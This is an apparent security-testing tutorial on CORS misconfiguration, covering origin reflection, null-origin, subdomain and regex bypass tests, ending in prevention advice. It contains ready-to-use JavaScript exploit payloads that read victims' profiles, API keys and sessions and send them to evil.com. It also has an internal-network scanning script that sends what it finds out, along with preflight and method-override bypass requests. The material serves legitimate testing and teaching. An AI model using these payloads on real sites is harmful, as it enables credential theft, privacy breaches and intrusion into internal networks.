CORS Misconfiguration Exploitation: Bypass Techniques & Real-World Attacks (2025)
Cross-Origin Resource Sharing (CORS) misconfigurations are among the most impactful yet frequently overlooked web vulnerabilities. When a server misconfigures its CORS policy, attackers can read sensitive data cross-origin, steal credentials, and even pivot to internal networks — all from a malicious webpage visited by the victim. CORS bugs consistently appear in top bug bounty programs and often qualify for high-severity payouts.
CORS Fundamentals
The Same-Origin Policy (SOP) prevents a webpage from reading responses from a different origin. CORS relaxes this policy by allowing servers to specify which origins can read their responses:
# CORS response headers
Access-Control-Allow-Origin: https://trusted.com
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: GET, POST, PUT
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Max-Age: 86400
# Preflight request (OPTIONS) — for non-simple requests
OPTIONS /api/data HTTP/1.1
Origin: https://trusted.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Content-Type
# Preflight response
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://trusted.com
Access-Control-Allow-Methods: GET, POST, PUT
Access-Control-Allow-Credentials: true
Testing for CORS Misconfigurations
Origin Reflection
The most common and dangerous CORS misconfiguration — the server reflects whatever Origin header you send:
# Test: send arbitrary origin
curl -s -I -H "Origin: https://evil.com" \
https://target.com/api/user/profile
# Vulnerable response:
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
# This means ANY website can read the API response
# including session data, PII, tokens, etc.
Null Origin
# Test: send null origin
curl -s -I -H "Origin: null" \
https://target.com/api/user/profile
# Vulnerable response:
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
# Null origin is sent by:
# - Sandboxed iframes (<iframe sandbox="allow-scripts">)
# - Local files (file:// protocol)
# - Redirected requests
# - Data URIs
Subdomain Wildcard
# Test: subdomain variations
curl -s -I -H "Origin: https://evil.target.com" \
https://target.com/api/data
curl -s -I -H "Origin: https://anything.target.com" \
https://target.com/api/data
# Vulnerable if it trusts *.target.com
# Attacker can exploit XSS on any subdomain to read main domain API
Prefix/Suffix Matching
# Test: origin that contains the target domain
curl -s -I -H "Origin: https://target.com.evil.com" \
https://target.com/api/data
curl -s -I -H "Origin: https://eviltarget.com" \
https://target.com/api/data
curl -s -I -H "Origin: https://target.com.evil.com" \
https://target.com/api/data
# Broken regex examples that pass these:
# /target.com$/ → matches evil-target.com
# /^https?://.*target.com/ → matches https://evil.target.com
Protocol Downgrade
# Test: HTTP instead of HTTPS
curl -s -I -H "Origin: http://target.com" \
https://target.com/api/data
# If trusted, attacker on the network can MITM the HTTP subdomain
# and use it to read HTTPS API responses
Exploitation Techniques
Stealing Sensitive Data (Origin Reflection)
<!-- Host this on https://evil.com -->
<script>
// Exploit CORS origin reflection to steal user data
fetch('https://target.com/api/user/profile', {
credentials: 'include' // Send victim's cookies
})
.then(response => response.json())
.then(data => {
// Exfiltrate stolen data
fetch('https://evil.com/collect', {
method: 'POST',
body: JSON.stringify({
email: data.email,
apiKey: data.api_key,
sessions: data.active_sessions
})
});
});
</script>
Exploiting Null Origin
<!-- Use sandboxed iframe to send null origin -->
<iframe sandbox="allow-scripts allow-forms" srcdoc="
<script>
fetch('https://target.com/api/user/profile', {
credentials: 'include'
})
.then(r => r.text())
.then(d => {
// Send stolen data to parent or external server
new Image().src = 'https://evil.com/collect?data=' +
encodeURIComponent(d);
});
</script>
"></iframe>
Subdomain Takeover + CORS Chain
# Attack chain:
# 1. Find subdomain pointing to unclaimed resource (S3, Heroku, etc.)
# 2. Claim the resource → control the subdomain
# 3. CORS policy trusts *.target.com
# 4. Host exploit on taken-over subdomain
# 5. Read sensitive data from target.com API
# Check for dangling DNS records
dig +short CNAME abandoned.target.com
# If it points to a claimable service → subdomain takeover
Internal Network Pivoting
When a CORS misconfiguration trusts any origin, an attacker can use the victim's browser as a proxy to access internal services:
<script>
// Scan internal network via victim's browser
const internalHosts = [
'http://192.168.1.1',
'http://10.0.0.1',
'http://172.16.0.1',
'http://internal-api.local',
'http://jenkins.internal:8080',
'http://grafana.internal:3000'
];
internalHosts.forEach(host => {
fetch(host + '/api/config', {credentials: 'include'})
.then(r => r.text())
.then(data => {
// Exfiltrate internal service data
fetch('https://evil.com/collect', {
method: 'POST',
body: JSON.stringify({host: host, data: data})
});
})
.catch(() => {/* Host unreachable */});
});
</script>
This technique is especially powerful when combined with SSRF payloads — if an internal service has CORS misconfigured, the attacker gets full read access through the victim's browser. See the SSRF Cheat Sheet for related internal network attack patterns.
Pre-flight Bypass Techniques
Simple Request Exploitation
# Simple requests (no preflight) use:
# - Methods: GET, HEAD, POST
# - Headers: Accept, Accept-Language, Content-Language, Content-Type
# - Content-Type: application/x-www-form-urlencoded, multipart/form-data, text/plain
# If the API accepts text/plain, bypass preflight:
fetch('https://target.com/api/data', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'text/plain'},
body: '{"action": "transfer", "amount": 1000}'
});
# Server might still parse JSON body despite text/plain Content-Type
Method Override
# If preflight blocks PUT/DELETE, use method override
POST /api/users/1043 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
X-HTTP-Method-Override: DELETE
# Or use query parameter override
POST /api/users/1043?_method=DELETE HTTP/1.1
Comprehensive CORS Testing Checklist
# Automated testing script
#!/bin/bash
TARGET="https://target.com/api/sensitive-endpoint"
origins=(
"https://evil.com"
"null"
"https://target.com.evil.com"
"https://eviltarget.com"
"https://subdomain.target.com"
"http://target.com"
"https://target.com%60.evil.com"
"https://target.com%2F.evil.com"
"https://foo.bar"
)
for origin in "${origins[@]}"; do
echo -n "Testing origin: $origin → "
resp=$(curl -s -I -H "Origin: $origin" "$TARGET")
acao=$(echo "$resp" | grep -i "access-control-allow-origin" | tr -d '\r')
acac=$(echo "$resp" | grep -i "access-control-allow-credentials" | tr -d '\r')
if [ -n "$acao" ]; then
echo "$acao | $acac"
else
echo "No ACAO header"
fi
done
Wildcard with Credentials
A special case worth noting — browsers reject Access-Control-Allow-Origin: * when Access-Control-Allow-Credentials: true is set. However, some servers work around this by dynamically reflecting the origin, which creates the vulnerability:
# Safe (browsers block credential sharing):
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
# ↑ Browser ignores response — credentials not sent
# DANGEROUS (server reflects origin to bypass browser restriction):
Access-Control-Allow-Origin: https://evil.com (reflected)
Access-Control-Allow-Credentials: true
# ↑ Browser allows — credentials sent, response readable
Real-World Impact Examples
- Account takeover: Read API keys or session tokens, then replay them
- PII theft: Extract emails, addresses, phone numbers, payment info
- Financial fraud: Read account balances and initiate transfers via state-changing APIs
- Internal reconnaissance: Map internal services, read configuration, extract secrets
- Lateral movement: Chain with subdomain takeover or XSS for persistent access
Prevention
- Never reflect the Origin header directly — use a strict allowlist of trusted origins
- Avoid
Access-Control-Allow-Origin: null— it can be exploited via sandboxed iframes - Do not trust all subdomains unless you control every subdomain and monitor for takeovers
- Use exact string matching for origin validation, not regex
- Set
Access-Control-Allow-Credentials: trueonly when absolutely necessary - Restrict
Access-Control-Allow-Methodsto only the methods the endpoint needs - Implement proper CSRF protection as a defense-in-depth measure alongside CORS
Generate CORS misconfiguration testing payloads with our CORS Misconfiguration Generator. For comprehensive CORS bypass references, see the CORS Cheat Sheet. Pair CORS testing with SSRF payload generation for internal network attacks, and review the SSRF Cheat Sheet for related techniques.
Level up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides